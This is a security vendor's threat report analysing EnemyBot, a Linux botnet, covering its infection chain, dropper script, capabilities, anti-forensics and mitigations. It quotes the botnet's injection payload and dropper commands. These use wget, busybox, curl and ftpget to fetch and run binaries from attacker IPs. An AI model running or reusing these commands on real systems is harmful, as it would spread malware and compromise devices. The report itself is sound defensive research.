By Securonix Threat Labs, Threat Research: Oleg Kolesnikov, Den Iuzvyk, and Tim Peck
Our researchers have identified EnemyBot, a brand new Linux-based botnet. At first glance and by analyzing the initial infection, it appears to cover a wide range of devices and platforms. This report covers technical details including its origin and functionality.
|echo;cd /tmp || cd /home/$USER || cd /var/run || cd /mnt || cd /data || cd /root || cd /; wget http://22.214.171.124/update.sh -O update.sh; busybox wget http://126.96.36.199/update.sh -O update.sh; curl http://188.8.131.52/update.sh -O update.sh; chm
The initial infection was identified making a drive-by attempt to /shell at a web server with an interesting payload attached to the “value” string. We saw several attempts to download an “update.sh” file using different methods: wget, busybox, and curl.
Taking a closer look at the update.sh script, the malware attempts to download 13 different ELF binaries each compiled for different system architectures. The appended architecture type is appended to the end of the name “enemybot”. Given the wide range of supported architectures, at first glance this botnet should be effective against Linux-based hosts ranging from servers to IoT devices.
Each line of the script attempts to download (again using various methods), set permissions to execute (777), execute from /tmp/ and then delete the original ELF binary.
wget http://184.108.40.206/folder/enemybotx86 -o enemybotx86; busybox wget http://220.127.116.11/folder/enemybotx86 -o enemybotx86; curl http://18.104.22.168/folder/enemybotx86 -o enemybotx86; busybox curl http://22.214.171.124/folder/enemybotx86 -o enemybotx86; ftpget -v -u anonymous -p anonymous -P 21 126.96.36.199 enemybotx86 enemybotx86; busybox ftpget -v -u anonymous -p anonymous -P 21 188.8.131.52 enemybotx86 enemybotx86; chmod 777 enemybotx86; ./enemybotx86; rm -rf enemybotx86
Stage 2 – Pulling Back the Curtain
First, we’ll take a look at the “enemybotx86” file that is the system architecture that we’re working on as it would land us the most success when executing it in a sandbox.
According to exiftool, the file is indeed a binary executable file in the ELF format (Linux executable).
Just to get a general idea as to what this binary might be doing, we’ll run it against strings and look for anything interesting. The word “enemy” appears to pop up again and again, and in one case is hex formatted:
Some other noteworthy and rather curious strings include:
- echo -e “\x65\x6e\x65\x6d\x79”
- Determined we already have a instance running on this system!
- Binded and listening on address %d.%d.%d.%d
Looking for function names, one that stood out was “whatudoinglookingatdis”. Maybe a hello to future researchers?
Scrubbing the file in a decompile, it appears to feature a host of networking options such as port scanners, TCP/UDP flood options and general system enumeration. Much of the code appears to be encrypted and we encountered some counter forensics which can make static analysis problematic.
The EnemyBot malware also appears to have the ability to steal data via HTTP POST, which in our case, the malware was sending the data back to the original IP address.
Just by looking at the export names, we definitely get a better understanding as to what this particular botnet is capable of.
Upon further analysis, we find some interesting flags which appear to be passed in as arguments. Some of these include Destination IP, Source IP, Destination Port, Source Port, Data Payload, and Packet Count.
The malware also initiates system checks to determine whether or not the malware is already running. After the instance starts there are two possible outputs:
- “Determined we already have a instance running…”
- “Binded and listen on address %d.%d.%d.%d.\n”
Dynamic Analysis of the EnemyBot malware did not provide anything useful as the malware seems to have killed itself soon after execution. There appear to be some baked-in counter forensics that kill the application based on certain detected process names.
The EnemyBot malware appears to follow similar structures and patterns we’ve seen with other common botnets, with a few changes. There appears to be strong correlation to that of the LolFMe botnet which contains other similar strings such as “watudoinglookingatdis”. The LolFMe botnet was quite short-lived and was never popular so it will be interesting to see how far off the ground this particular strain takes us.
Both LolFMe and Mirai botnets leverage multi-architecture support and RCE as the initial foothold. This was also the case for EnemyBot.
Mitigation – Securonix Recommendations
Some possible actions are recommended that can potentially help proactively mitigate the impact of the EnemyBot attacks on your network.
- Ensure systems are fully patched and not vulnerable to RCE
- Patch IoT devices’ firmware to the latest versions to mitigate external exploitation
- Employ the usage of layer-7 network monitoring and detection to detect common exploits that may leverage RCE
- Ensure that externally exposed network segments are isolated from internal hosts
- Disable or limit execution from linux /tmp/ directories
Detection and Indicators of Compromise (IoCs):
IP Communication observed:
Please look out for updates on search queries and detection content from Securonix Threat Labs
We also invite you to send your questions regarding any security advisories to the Securonix Critical Intelligence Advisory team and look forward to being of assistance.